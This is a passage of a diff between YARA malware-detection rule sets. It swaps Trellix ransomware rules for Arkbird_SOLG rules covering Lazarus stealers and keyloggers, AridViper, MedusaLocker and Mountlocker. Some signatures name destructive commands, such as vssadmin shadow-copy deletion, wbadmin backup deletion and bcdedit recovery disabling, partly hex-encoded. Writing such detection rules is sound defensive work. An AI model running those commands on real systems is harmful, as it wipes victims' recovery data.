-		rule_version = "v1"
-		malware_type = "ransomware"
-		malware_family = "Ransom:W32/WastedLocker"
-		actor_type = "Cybercrime"
-		actor_group = "Unknown"
-		hash1 = "ae255679f487e2e9075ffd5e8c7836dd425229c1e3bd40cfc46fbbceceec7cf4"
+		description = "Detect Installer used by AridViper group in Febuary 2021"
+		author = "Arkbird_SOLG"
+		id = "3d891aeb-b4d6-50f2-ad08-cb6d9d56064d"
+		date = "2021-02-08"
+		modified = "2021-02-09"
+		reference = "Internal Research"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-02-08/AridViper/APT_AridViper_Installer_Feb_2020_1.yar#L1-L26"
+		license_url = "N/A"
+		logic_hash = "1fca713b7ac7f3e960a4174325c32578724e87241e159fbf7754c7e2d19779a1"
+		score = 50
+		quality = 69
+		tags = "FILE"
+		level = "Experimental"
+		hash1 = "16ed131c4a7545495dc3f07d199748a5d0560e7c8a44493c1906163bedc9c2e0"
+		hash2 = "84d9c7852b87253ccf0ca1aad57e510a4badfe253c063a72c7751930f0279c83"
 
 	strings:
-		$pattern_0 = { 8d45fc 50 53 53 6a19 ff75f8 }
-		$pattern_1 = { 66833b00 8bf3 0f8485000000 8b7d10 8b472c 85c0 7410 }
-		$pattern_2 = { e8???????? 8b4d08 8b4518 8d0441 6683600200 83c40c 837d1400 }
-		$pattern_3 = { 8701 e9???????? 8bc7 5f 5e 5b }
-		$pattern_4 = { 8bf8 3bfb 742f 53 8d45fc 50 56 }
-		$pattern_5 = { 6a10 8d45f0 6a00 50 e8???????? 83c40c 5e }
-		$pattern_6 = { 5f 5d c20800 55 8bec }
-		$pattern_7 = { 8d7e04 ff15???????? 85c0 8945e8 740e 2b4510 }
-		$pattern_8 = { ff15???????? 8b45dc 8b4dbc 69c00d661900 055ff36e3c 8945dc }
-		$pattern_9 = { 8b4d08 8b19 03d8 f7d0 c1c60f 03f2 0bc6 }
+		$seq_db = { 8b 7d ec 33 d2 89 55 ec 8b 0f 8b c1 89 4d e4 38 11 74 2e 66 90 83 f8 ff 73 24 8a 08 40 80 f9 c0 72 16 8a 08 80 e1 c0 80 f9 80 75 0c 8a 48 01 40 80 e1 c0 80 f9 80 74 f4 42 80 38 00 75 d7 89 55 ec f7 46 18 00 00 08 00 74 47 8b d7 8b cb e8 a2 f9 ff ff 89 45 e0 85 c0 74 34 83 7d f0 01 b9 [3] 00 50 ff 75 f8 b8 [3] 00 ff 75 e4 0f 44 c8 51 ff 75 f4 68 [3] 00 53 e8 34 2e 00 00 8b 55 e0 83 c4 1c 8b ce e8 ?? c3 fc ff 8b 55 ec ff 75 e4 8b 45 f8 b9 [3] 00 83 7d f0 01 52 50 50 50 50 50 b8 [3] 00 0f 44 c1 50 ff 75 f4 68 [3] 00 53 e8 f8 2d 00 00 83 c4 2c ba [3] 00 8b ce ff 75 f4 e8 e6 2e 00 00 83 c4 04 85 c0 74 16 ff 37 ff 75 f8 ff 75 f4 68 [3] 00 53 e8 cc 2d 00 00 83 c4 14 8b d7 8b cb e8 90 f9 ff ff 89 45 e0 85 c0 74 1e 50 8b 45 f8 50 50 68 [3] 00 53 e8 a8 2d 00 00 8b 55 e0 83 c4 14 8b ce e8 ?? c3 fc ff f7 46 18 00 00 08 00 74 2e 8b cf e8 db e5 00 00 8b f0 85 f6 74 1e 0f 1f 44 00 00 8b 16 3b d7 74 0c ff 32 8b cb e8 f1 f9 ff ff 83 c4 04 8b 76 0c 85 f6 75 e7 8b 75 e8 ff 75 f8 8b d7 8b cb e8 d8 f9 ff ff 83 c4 04 }
+		$seq_createdb = { 8a 43 42 84 c0 78 05 0f be c0 eb 07 8b cf e8 ?? 91 fb ff 8b 4d f8 8b d0 e8 ?? 90 fb ff 68 [3] 00 8b d6 8b cb e8 4d fc ff ff 8b f8 83 c4 04 85 ff 0f 85 41 01 00 00 68 [3] 00 8b d6 8b cb e8 32 fc ff ff 8b f8 83 c4 04 85 ff 0f 85 26 01 00 00 68 [3] 00 8b d6 8b cb e8 17 fc ff ff 8b f8 83 c4 04 85 ff 0f 85 0b 01 00 00 68 [3] 00 8b d6 8b cb e8 fc fb ff ff 8b f8 83 c4 04 85 ff 0f 85 f0 00 00 00 68 [3] 00 8b d6 8b cb e8 e1 fb ff ff 8b f8 83 c4 04 85 ff 0f 85 d5 00 00 00 68 [3] 00 8b d6 8b cb e8 c6 fb ff ff 8b f8 83 c4 04 85 ff 0f 85 ba 00 00 00 68 [3] 00 8b d6 8b cb e8 eb fa ff ff 8b f8 83 c4 04 85 ff 0f 85 9f 00 00 00 33 f6 0f 1f 40 00 0f 1f 84 00 00 00 00 00 }
+		$OP_Files1 = { 51 68 [3] 00 b9 [3] 00 e8 [2] 00 00 80 3d [3] 00 00 75 04 33 c9 eb 11 b9 [3] 00 8d 51 01 8a 01 41 84 c0 75 f9 2b ca 51 68 [3] 00 b9 [3] 00 e8 [2] 00 00 6a ?? 68 [3] 00 b9 [3] 00 e8 [2] 00 00 6a ?? 68 [3] 00 b9 [3] 00 e8 [2] 00 00 }
+		$OP_Files2 = { 00 00 83 c4 04 83 78 18 10 72 05 8b 40 04 eb 03 83 c0 04 [3-9] 00 50 68 [3] 00 6a 00 6a 00 ff [1-5] 8b 95 c8 fe ff ff 83 fa 10 72 0c 8b 8d b4 fe ff ff }
+		$s1 = "D$t9D$ }J" fullword ascii
+		$s2 = "u#h`KN" fullword ascii
+		$s3 = { 6f 73 5f 77 69 6e 2e 63 3a 25 64 3a 20 28 25 6c 75 29 20 25 73 28 25 73 29 20 2d 20 25 73 }
+		$s4 = { 61 63 63 65 73 73 20 74 6f 20 25 73 2e 25 73 2e 25 73 20 69 73 20 70 72 6f 68 69 62 69 74 65 64 }
+		$s5 = { 25 00 6c 00 73 00 28 00 25 00 64 00 29 }
+		$s6 = { 23 46 69 6c 65 20 45 72 72 6f 72 23 28 25 64 29 20 3a }
 
 	condition:
-		7 of them and filesize <1806288
+		uint16(0)==0x5a4d and filesize >600KB and 3 of ($s*) and $seq_db and $seq_createdb and all of ($OP_Files*)
 }
-rule TRELLIX_ARC_Termite_Ransomware : RANSOMWARE FILE
+import "pe"
+
+rule ARKBIRD_SOLG_APT_NK_Lazarus_Stealer_Screencapture_June_2020_1 : FILE
 {
 	meta:
-		description = "Rule to detect the Termite Ransomware"
-		author = "McAfee ATR Team"
-		id = "521ec8ee-a54c-57c3-9437-a2ef7f8ed4ca"
-		date = "2018-08-28"
-		modified = "2020-10-12"
-		reference = "https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-august-31st-2018-devs-on-vacation/"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/ransomware/RANSOM_termite.yar#L1-L32"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		hash = "021ca4692d3a721af510f294326a31780d6f8fcd9be2046d1c2a0902a7d58133"
-		logic_hash = "e5c01e8377957fa25cf6c2031c2680e802b0082a36f50b97b4e488c5bf40e968"
+		description = "Detect ScreenCapture malware used by Lazarus APT"
+		author = "Arkbird_SOLG, James_inthe_box"
+		id = "bb0463ac-6219-5a12-b3d2-fc82800bda69"
+		date = "2020-06-23"
+		modified = "2021-07-13"
+		reference = "https://twitter.com/GR_CTI/status/1275164880992186371"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-06-23/APT_Lazarus_Stealer_June_2020_1.yar#L3-L31"
+		license_url = "N/A"
+		logic_hash = "66f8d3da0f70f6c4ed6f853ab4040d7f96c043e9e194f1720999b48910b3e756"
 		score = 75
-		quality = 20
-		tags = "RANSOMWARE, FILE"
-		rule_version = "v1"
-		malware_type = "ransomware"
-		malware_family = "Ransom:W32/Termite"
-		actor_type = "Cybercrime"
-		actor_group = "Unknown"
+		quality = 75
+		tags = "FILE"
+		hash1 = "6caa98870efd1097ee13ae9c21c6f6c9202a19ad049a9e65c60fce5c889dc4c8"
 
 	strings:
-		$s1 = "C:\\Windows\\SysNative\\mswsock.dll" fullword ascii
-		$s2 = "C:\\Windows\\SysWOW64\\mswsock.dll" fullword ascii
-		$s3 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\Termite.exe" fullword ascii
-		$s4 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\Payment.exe" fullword ascii
-		$s5 = "C:\\Windows\\Termite.exe" fullword ascii
-		$s6 = "\\Shell\\Open\\Command\\" fullword ascii
-		$s7 = "t314.520@qq.com" fullword ascii
-		$s8 = "(*.JPG;*.PNG;*.BMP;*.GIF;*.ICO;*.CUR)|*.JPG;*.PNG;*.BMP;*.GIF;*.ICO;*.CUR|JPG" fullword ascii
+		$s1 = "E:\\workspace\\VS\\crat_2\\client\\Build\\Win32\\DllRelease\\ScreenCapture_Win32_DllRelease.pdb" fullword ascii
+		$s2 = "CloseHandle ScreenCaptureMutex failure! %d" fullword ascii
+		$s3 = "ScreenCapture_Win32_DllRelease.dll" fullword ascii
+		$s4 = "ScreenCaptureMutex already created! %s\n" fullword ascii
+		$s5 = "Capturing screen...\n" fullword ascii
+		$s6 = "%s\\P%02d%lu.tmp" fullword ascii
+		$s7 = "ScreenCaptureThread finished!" fullword ascii
+		$s8 = "ScreenCaptureThread started!" fullword ascii
+		$s9 = "ScreenCapture start time set to %llu" fullword ascii
+		$s10 = "ScreenCaptureMutex already created! %s\n" fullword ascii
+		$s11 = "Major=%d, Minor=%d, Build=%d, Arch=%d" fullword ascii
+		$s12 = "Can't create file %s, errno = %d, nCreateRetryCount = %d" fullword ascii
+		$s13 = "ExploreDirectory, csDirectoryPath = %s, dwError=%d" fullword ascii
+		$s14 = "[END] ScreenCaptureThread terminated!" fullword ascii
+		$s15 = { 25 00 2d 00 32 00 30 00 73 00 20 00 20 00 20 00 25 00 31 00 30 00 6c 00 6c 00 75 00 20 00 62 00 79 00 74 00 65 00 73 }
+		$s16 = { 57 00 72 00 6f 00 74 00 65 00 20 00 25 00 64 00 20 00 62 00 79 00 74 00 65 00 73 00 20 00 74 00 6f 00 20 00 66 00 69 00 6c 00 65 00 20 00 25 00 73 }
+		$s17 = "Entered Windows direcotry, skipping..." fullword ascii
+		$s18 = "Found %d entries." fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <6000KB) and all of them
+		uint16(0)==0x5a4d and filesize <80KB and 14 of them
 }
 import "pe"
 
-rule TRELLIX_ARC_Ransom_Avoslocker : FILE
+rule ARKBIRD_SOLG_APT_NK_Lazarus_Stealer_Keylog_June_2020_1 : FILE
 {
 	meta:
-		description = "Rule to detect Avoslocker Ransomware"
-		author = "CB @ ATR"
-		id = "50f029c8-154e-583d-8264-8d86d01075f6"
-		date = "2021-07-22"
-		modified = "2021-07-22"
-		reference = "https://github.com/advanced-threat-research/Yara-Rules/"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/ransomware/RANSOM_Avoslocker.yar#L3-L27"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		logic_hash = "316aaab225797eedd62f9cfde1fdbd799a10441b3b15a8abc76141b57b36b1d3"
+		description = "Detect keylog malware used by Lazarus APT"
+		author = "Arkbird_SOLG, James_inthe_box"
+		id = "dd6aae8c-76d1-514d-905e-21472eb9b9b2"
+		date = "2020-06-23"
+		modified = "2021-07-13"
+		reference = "https://twitter.com/GR_CTI/status/1275164880992186371"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-06-23/APT_Lazarus_Stealer_June_2020_1.yar#L33-L58"
+		license_url = "N/A"
+		logic_hash = "9a4e17903ad2a7c80651aa8f3d57876d1621be06ba7a683135b11929b232b2fa"
 		score = 75
-		quality = 70
+		quality = 75
 		tags = "FILE"
-		Version = "v1"
-		DetectionName = "Ransom_Win_Avoslocker"
-		hash1 = "fb544e1f74ce02937c3a3657be8d125d5953996115f65697b7d39e237020706f"
-		hash2 = "43b7a60c0ef8b4af001f45a0c57410b7374b1d75a6811e0dfc86e4d60f503856"
+		hash1 = "6d461bf3e3ca68b2d6d850322b79d5e3e647b0d515cb10449935bf6d77d7d5f2"
 
 	strings:
-		$v1 = "CryptImportPublicKeyInfo failed. error: %d" fullword ascii
-		$v2 = "CryptStringToBinary failed. Err: %d" fullword ascii
-		$v3 = "encrypting %ls failed" fullword wide
-		$v4 = "CryptDecodeObjectEx 1 failed. Err: %p" fullword ascii
-		$v5 = "operator co_await" fullword ascii
-		$v6 = "drive %s took %f seconds" fullword ascii
-		$seq0 = { 8d 4e 04 5e e9 b1 ff ff ff 55 8b ec ff 75 08 ff }
-		$seq1 = { 33 c0 80 fb 2d 0f 94 c0 05 ff ff ff 7f eb 02 f7 }
-		$seq2 = { 8b 40 0c 89 85 1c ff ff ff 8b 40 0c 89 85 18 ff }
+		$s1 = "E:\\workspace\\VS\\crat_2\\client\\Build\\Win32\\DllRelease\\KeyLog_Win32_DllRelease.pdb" fullword ascii
+		$s2 = "CloseHandle KeyLogMutex failure! %d" fullword ascii
+		$s3 = "KeyLog_Win32_DllRelease.dll" fullword ascii
+		$s4 = "Key Log Mutex already created! %s\n" fullword ascii
+		$s5 = "Unable to GetProcAddress of GetAsyncKeyState" fullword ascii
+		$s6 = "KeyLogThread finished!" fullword ascii
+		$s7 = "KeyLogThread started!" fullword ascii
+		$s8 = "Major=%d, Minor=%d, Build=%d, Arch=%d" fullword ascii
+		$s9 = "Can't create file %s, errno = %d, nCreateRetryCount = %d" fullword ascii
+		$s10 = "ExploreDirectory, csDirectoryPath = %s, dwError=%d" fullword ascii
+		$s11 = "[END] KeyLogThread terminated!" fullword ascii
+		$s12 = { 25 00 2d 00 32 00 30 00 73 00 20 00 20 00 20 00 25 00 31 00 30 00 6c 00 6c 00 75 00 20 00 62 00 79 00 74 00 65 00 73 }
+		$s13 = { 57 00 72 00 6f 00 74 00 65 00 20 00 25 00 64 00 20 00 62 00 79 00 74 00 65 00 73 00 20 00 74 00 6f 00 20 00 66 00 69 00 6c 00 65 00 20 00 25 00 73 }
+		$s14 = "Entered Windows direcotry, skipping..." fullword ascii
+		$s15 = "Found %d entries." fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <1000KB and pe.imphash()=="a24c2b5bf84a5465eb75f1e6aa8c1eec" and (5 of them ) and all of ($seq*)) or ( all of them )
+		uint16(0)==0x5a4d and filesize <80KB and 11 of them
 }
 import "pe"
 
-rule TRELLIX_ARC_Ransom_Conti : RANSOMWARE FILE
+rule ARKBIRD_SOLG_APT_NK_Lazarus_Stealer_Generic_June_2020_1 : FILE
 {
 	meta:
-		description = "Conti ransomware is havnig capability too scan and encrypt oover the network"
-		author = "McAfee ATR team"
-		id = "8fc6943d-fb99-5957-929b-4c264d9fba2d"
-		date = "2020-07-09"
-		modified = "2020-10-12"
-		reference = "https://www.carbonblack.com/blog/tau-threat-discovery-conti-ransomware/"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/ransomware/Ransom_Conti.yar#L3-L37"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		hash = "eae876886f19ba384f55778634a35a1d975414e83f22f6111e3e792f706301fe"
-		logic_hash = "953471c130309bbc712197d49d2072bd45838f49d2b25f86273a15c6baa87354"
+		description = "Detect stealers used by Lazarus APT by common strings"
+		author = "Arkbird_SOLG, James_inthe_box"
+		id = "11a7c531-91a4-524e-aa5d-c11538f7db58"
+		date = "2020-06-23"
+		modified = "2021-07-13"
+		reference = "https://twitter.com/GR_CTI/status/1275164880992186371"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-06-23/APT_Lazarus_Stealer_June_2020_1.yar#L60-L85"
+		license_url = "N/A"
+		logic_hash = "878e4a128b7de45f4940e7adccfeb376ce46e87b35b25e162f668303e9fd7852"
 		score = 75
-		quality = 70
-		tags = "RANSOMWARE, FILE"
-		rule_version = "v1"
-		malware_type = "ransomware"
-		malware_family = "Ransom:W32/Conti"
-		actor_type = "Cybercrime"
-		actor_group = "Unknown"
+		quality = 75
+		tags = "FILE"
+		hash1 = "6d461bf3e3ca68b2d6d850322b79d5e3e647b0d515cb10449935bf6d77d7d5f2"
+		hash2 = "6caa98870efd1097ee13ae9c21c6f6c9202a19ad049a9e65c60fce5c889dc4c8"
 
 	strings:
-		$string1 = "HOW_TO_DECRYPTP" fullword ascii
-		$string2 = "The system is LOCKED." fullword ascii
-		$string3 = "The network is LOCKED." fullword ascii
-		$code1 = { ff b4 b5 48 ff ff ff 53 ff 15 bc b0 41 00 85 c0 }
-		$code2 = { 6a 02 6a 00 6a ff 68 ec fd ff ff ff 76 0c ff 15 }
-		$code3 = { 56 8d 85 38 ff ff ff 50 ff d7 85 c0 0f 84 f2 01 }
+		$s1 = "E:\\workspace\\VS\\crat_2\\client\\Build\\Win32\\DllRelease" fullword ascii
+		$s2 = "Mutex failure! %d" fullword ascii
+		$s3 = "Win32_DllRelease.dll" fullword ascii
+		$s4 = "Mutex already created! %s\n" fullword ascii
+		$s5 = "[END]" fullword ascii
+		$s6 = "Thread finished!" fullword ascii
+		$s7 = "Thread started!" fullword ascii
+		$s8 = "Major=%d, Minor=%d, Build=%d, Arch=%d" fullword ascii
+		$s9 = "Can't create file %s, errno = %d, nCreateRetryCount = %d" fullword ascii
+		$s10 = "ExploreDirectory, csDirectoryPath = %s, dwError=%d" fullword ascii
+		$s11 = "Thread terminated!" fullword ascii
+		$s12 = { 25 00 2d 00 32 00 30 00 73 00 20 00 20 00 20 00 25 00 31 00 30 00 6c 00 6c 00 75 00 20 00 62 00 79 00 74 00 65 00 73 }
+		$s13 = { 57 00 72 00 6f 00 74 00 65 00 20 00 25 00 64 00 20 00 62 00 79 00 74 00 65 00 73 00 20 00 74 00 6f 00 20 00 66 00 69 00 6c 00 65 00 20 00 25 00 73 }
+		$s14 = "Entered Windows direcotry, skipping..." fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <300KB and pe.number_of_sections==5 and (pe.imphash()=="30fe3f044289487cddc09bfb16ee1fde" or ( all of them and all of ($code*)))
+		uint16(0)==0x5a4d and filesize <80KB and 11 of them
 }
-rule TRELLIX_ARC_Robbinhood_Ransomware : RANSOMWARE FILE
+rule ARKBIRD_SOLG_RAN_Medusalocker_Aug_2021_1 : FILE
 {
 	meta:
-		description = "Robbinhood GoLang ransowmare"
-		author = "Christiaan Beek | McAfee ATR"
-		id = "b2654d00-330e-511e-b8f1-75aa7b57d040"
-		date = "2019-05-10"
-		modified = "2020-08-14"
-		reference = "https://github.com/advanced-threat-research/Yara-Rules/"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/ransomware/RANSOM_RobbinHood.yar#L1-L37"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		hash = "9977ba861016edef0c3fb38517a8a68dbf7d3c17de07266cfa515b750b0d249e"
-		logic_hash = "19a1b7d92bc49dee6da3fb4c053b118e6475aeca43e891d46470c2c09c148038"
+		description = "Detect MedusaLocker ransomware"
+		author = "Arkbird_SOLG"
+		id = "9e647371-b37a-53af-bfb6-cde72855b564"
+		date = "2021-08-08"
+		modified = "2021-08-08"
+		reference = "Internal Research"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-08-08/medusalocker/RAN_MedusaLocker_Aug_2021_1.yara#L1-L29"
+		license_url = "N/A"
+		logic_hash = "40dd3ec16eefc59cb25c8855fb62cda1d642ec711226c1c964fd26384be7ef15"
 		score = 75
-		quality = 70
-		tags = "RANSOMWARE, FILE"
-		rule_version = "v1"
-		malware_type = "ransomware"
-		malware_family = "Ransom:W32/Robbinhood"
-		actor_type = "Cybercrime"
-		actor_group = "Unknown"
+		quality = 73
+		tags = "FILE"
+		hash1 = "4f9a833e79092006c06203a66b41fc9250bcebcee148fea404db75d52035131c"
+		hash2 = "212e7f5ed4a581b4d778dfef226738c6db56b4b4006526259392d03062587887"
+		hash3 = "a25c0227728878c386ab6dba139976cb10e853dd3cd1eb3623f236ee8e1df212"
+		hash4 = "c2a0a317d73c96428ab088a8f0636ec4ccace7ca691c84ed66a83a70183f40dc"
+		hash5 = "0abb4a302819cdca6c9f56893ca2b52856b55a0aa68a3cb8bdcd55dcc1fad9ad"
+		hash6 = "f5fb7fa5231c18f0951c755c4cb0ec07b0889b5e320f42213cbf6bbbe499ad31"
+		tlp = "white"
+		adversary = "RaaS"
 
 	strings:
-		$s1 = ".enc_robbinhood" nocase
-		$s2 = "sc.exe stop SQLAgent$SQLEXPRESS" nocase
-		$s3 = "pub.key" nocase
-		$s4 = "main.EnableShadowFucks" nocase
-		$s5 = "main.EnableRecoveryFCK" nocase
-		$s6 = "main.EnableLogLaunders" nocase
-		$s7 = "main.EnableServiceFuck" nocase
-		$op0 = { 8d 05 2d 98 51 00 89 44 24 30 c7 44 24 34 1d }
-		$op1 = { 8b 5f 10 01 c3 8b 47 04 81 c3 b5 bc b0 34 8b 4f }
-		$op2 = { 0f b6 34 18 8d 7e d0 97 80 f8 09 97 77 39 81 fd }
+		$s1 = "{8761ABBD-7F85-42EE-B272-A76179687C63}" fullword wide
+		$s2 = { 83 c4 08 8d 8d ?? fe ff ff e8 [2] ff ff 8d 8d ?? fe ff ff e8 [2] ff ff 68 [2] 48 00 8d 8d ?? ff ff ff e8 [2] ff ff 8b c8 e8 [2] ff ff 68 [2] 48 00 8d 8d [2] ff ff e8 [2] 00 00 8d 8d [2] ff ff 51 e8 ?? f9 ff ff 83 c4 04 88 85 2b ff ff ff 8d 8d [2] ff ff e8 [2] 00 00 0f b6 95 2b ff ff ff 85 d2 74 1e 68 [2] 48 00 8d 8d ?? ff ff ff e8 [2] ff ff 8b c8 e8 [2] ff ff 33 c0 e9 [2] 00 00 8d 4d fa e8 [2] ff ff 8d 4d fa e8 [2] 01 00 8d 4d fa e8 [2] 01 00 8d 4d fa e8 [2] 01 00 0f b6 c0 85 c0 74 0c c7 85 ?? fe ff ff [2] 48 00 eb 0a c7 85 ?? fe ff ff [2] 48 00 8b 8d ?? fe ff ff 89 8d ?? fe ff ff 8d 95 ?? fe ff ff 52 8d 8d ?? ff ff ff e8 [2] ff ff 8b c8 e8 [2] ff ff e8 ?? f8 ff ff 8d 4d 8c e8 [2] 00 00 68 [2] 48 00 8d 8d ?? ff ff ff e8 [2] ff ff 8b c8 e8 [2] ff ff b9 [2] 4a 00 e8 [2] ff ff 50 e8 [2] ff ff 83 c4 04 50 8d 4d 8c e8 [2] 00 00 0f b6 c0 85 c0 75 41 68 [2] 48 00 8d 8d ?? ff ff ff e8 [2] ff ff 8b c8 e8 [2] ff ff e8 ?? c6 ff ff c7 85 ?? fe ff ff 00 00 00 00 8d 4d 8c e8 [2] 00 00 8d 4d fa e8 [2] ff ff 8b 85 ?? fe ff ff e9 [2] 00 00 68 [2] 48 00 8d 8d ?? ff ff ff e8 [2] ff ff 8b c8 e8 [2] ff ff 68 [2] 48 00 8d 8d ?? fe ff ff e8 [2] 00 00 8d 8d ?? fd ff ff 51 8d 4d 8c e8 [2] 00 00 50 e8 [2] ff ff 83 c4 04 50 8d 95 ?? fe ff ff 52 b9 [2] 4a 00 e8 [2] 00 00 0f b6 c0 85 c0 75 0c c7 85 ?? fe ff ff 01 00 00 00 eb 0a c7 85 ?? fe ff ff 00 00 00 00 8a 8d ?? fe ff ff 88 8d 2a ff ff ff 8d 8d ?? fd ff ff e8 [2] 00 00 8d 8d ?? fe ff ff }
+		$s3 = { 62 00 63 00 64 00 65 00 64 00 69 00 74 00 2e 00 65 00 78 00 65 00 20 00 2f 00 73 00 65 00 74 00 20 00 7b 00 64 00 65 00 66 00 61 00 75 00 6c 00 74 00 7d 00 20 00 62 00 6f 00 6f 00 74 00 73 00 74 00 61 00 74 00 75 00 73 00 70 00 6f 00 6c 00 69 00 63 00 79 00 20 00 69 00 67 00 6e 00 6f 00 72 00 65 00 61 00 6c 00 6c 00 66 00 61 00 69 00 6c 00 75 00 72 00 65 00 73 }
+		$s4 = { 42 67 49 41 41 41 43 6b 41 41 42 53 55 30 45 78 }
+		$s5 = "wbadmin DELETE SYSTEMSTATEBACKUP -deleteOldest" fullword wide
+		$s6 = { 62 00 63 00 64 00 65 00 64 00 69 00 74 00 2e 00 65 00 78 00 65 00 20 00 2f 00 73 00 65 00 74 00 20 00 7b 00 64 00 65 00 66 00 61 00 75 00 6c 00 74 00 7d 00 20 00 72 00 65 00 63 00 6f 00 76 00 65 00 72 00 79 00 65 00 6e 00 61 00 62 00 6c 00 65 00 64 00 20 00 4e 00 6f }
+		$s7 = { 76 00 73 00 73 00 61 00 64 00 6d 00 69 00 6e 00 2e 00 65 00 78 00 65 00 20 00 44 00 65 00 6c 00 65 00 74 00 65 00 20 00 53 00 68 00 61 00 64 00 6f 00 77 00 73 00 20 00 2f 00 41 00 6c 00 6c 00 20 00 2f 00 51 00 75 00 69 00 65 00 74 }
+		$s8 = { 77 00 6d 00 69 00 63 00 2e 00 65 00 78 00 65 00 20 00 53 00 48 00 41 00 44 00 4f 00 57 00 43 00 4f 00 50 00 59 00 20 00 2f 00 6e 00 6f 00 69 00 6e 00 74 00 65 00 72 00 61 00 63 00 74 00 69 00 76 00 65 }
+		$s9 = { 77 00 62 00 61 00 64 00 6d 00 69 00 6e 00 20 00 44 00 45 00 4c 00 45 00 54 00 45 00 20 00 53 00 59 00 53 00 54 00 45 00 4d 00 53 00 54 00 41 00 54 00 45 00 42 00 41 00 43 00 4b 00 55 00 50 }
+		$s10 = { 33 c0 48 89 44 24 40 48 c7 44 24 48 07 00 00 00 66 89 44 24 30 44 8d 40 26 48 8d 15 [2] 09 00 48 8d 4c 24 30 e8 [2] ff ff 48 83 7c 24 40 00 74 42 4c 8d 44 24 30 48 83 7c 24 48 08 4c 0f 43 44 24 30 33 d2 b9 01 00 1f 00 ff 15 [2] 07 00 48 85 c0 75 1f 4c 8d 44 24 30 48 83 7c 24 48 08 4c 0f 43 44 24 30 33 d2 33 c9 ff 15 [2] 07 00 32 db eb 02 b3 01 48 8b 54 24 48 48 83 fa 08 72 37 48 8d 14 55 02 00 00 00 48 8b 4c 24 30 48 8b c1 48 81 fa 00 10 00 00 72 19 48 83 c2 27 48 8b 49 f8 48 2b c1 48 83 c0 f8 48 83 f8 1f 0f 87 d3 00 00 00 e8 [2] 03 00 84 db 0f 85 ad 00 00 00 e8 3e 36 00 00 84 c0 75 05 e8 c5 36 00 00 e8 ?? 94 ff ff 48 8d 1d [2] 0d 00 48 8d 4c 24 30 e8 [2] ff ff 48 8b f8 48 8d 35 [2] 0d 00 0f 1f }
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <3000KB and (1 of ($s*)) and all of ($op*)) or ( all of them )
+		uint16(0)==0x5A4D and filesize >150KB and 9 of ($s*)
 }
-rule TRELLIX_ARC_Buran_Ransomware : RANSOMWARE FILE
+rule ARKBIRD_SOLG_RAN_Mountlocker_May_2021_1 : FILE
 {
 	meta:
-		description = "Rule to detect Buran ransomware"
-		author = "Marc Rivero | McAfee ATR Team"
-		id = "b96c0e5c-dce2-559d-9623-81e8a9a322f2"
-		date = "2019-11-05"
-		modified = "2020-08-14"
-		reference = "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/buran-ransomware-the-evolution-of-vegalocker/"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/ransomware/RANSOM_Buran.yar#L1-L27"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		logic_hash = "056cf2e6aca22876fb8bfafc14a3be0e42124a26edab42a6f7a928c87fb8fff4"
+		description = "Detect the Mountlocker ransomware"
+		author = "Arkbird_SOLG"
+		id = "0bc0d341-4658-500e-b487-1993e5431560"
+		date = "2020-05-12"
+		modified = "2021-05-16"
+		reference = "Internal Research"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-05-12/Astrolocker/RAN_MountLocker_May_2021_1.yara#L1-L20"
+		license_url = "N/A"
+		logic_hash = "c0826d4c740b5c46b704b42e002602dd0cda2b6d1bf0ba5431877be8bd600b64"
 		score = 75
-		quality = 70
-		tags = "RANSOMWARE, FILE"
-		rule_version = "v1"
-		malware_type = "ransomware"
-		malware_family = "Ransom:W32/Buran"
-		actor_type = "Cybercrime"
-		actor_group = "Unknown"
+		quality = 75
+		tags = "FILE"
+		hash1 = "0aa8099c5a65062ba4baec8274e1a0650ff36e757a91312e1755fded50a79d47"
+		hash2 = "f570d5b17671e6f3e56eae6ad87be3a6bbfac46c677e478618afd9f59bf35963"
+		hash3 = "5eae13527d4e39059025c3e56dad966cf67476fe7830090e40c14d0a4046adf0"
+		tlp = "White"
+		adversary = "MountLocker"
 
 	strings:
